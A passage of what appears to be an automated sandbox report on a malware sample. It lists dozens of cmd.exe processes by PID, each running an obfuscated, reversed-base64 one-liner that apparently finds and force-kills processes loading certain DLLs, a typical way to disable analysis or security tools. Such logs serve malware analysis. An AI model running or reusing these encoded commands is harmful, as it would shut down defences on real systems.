  2⤵
  PID:3248
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6012
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5136
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4112
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5216
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1860
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5320
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4140
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3000
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2544
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4196
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:3416
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3192
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:52
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5540
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3152
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5508
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4264
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5368
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4828
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2452
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3232
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:5704
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4948
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5384
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1676
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3288
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1916
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3864
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2760
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6136
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1008
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:1828
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:2040
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:260
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1392
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2092
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2400
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2724
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1252
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3492
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5212
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2780
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4912
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4504
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2584
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3400
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:996
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3984
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1488
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5016
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6016
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5524
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4392
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5988
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2316
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1416
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3868
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1648
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5980
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4112
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:4596
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:6128
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5552
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:2940
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5832
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1412
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5992
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3304
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5536
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2004
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4404
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3292
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4696
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1088
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1248
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:860
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3068
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4360
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3300
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4676
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:5516
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4796
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3120
- C:\Windows\SYSTEM32\cmd.exe
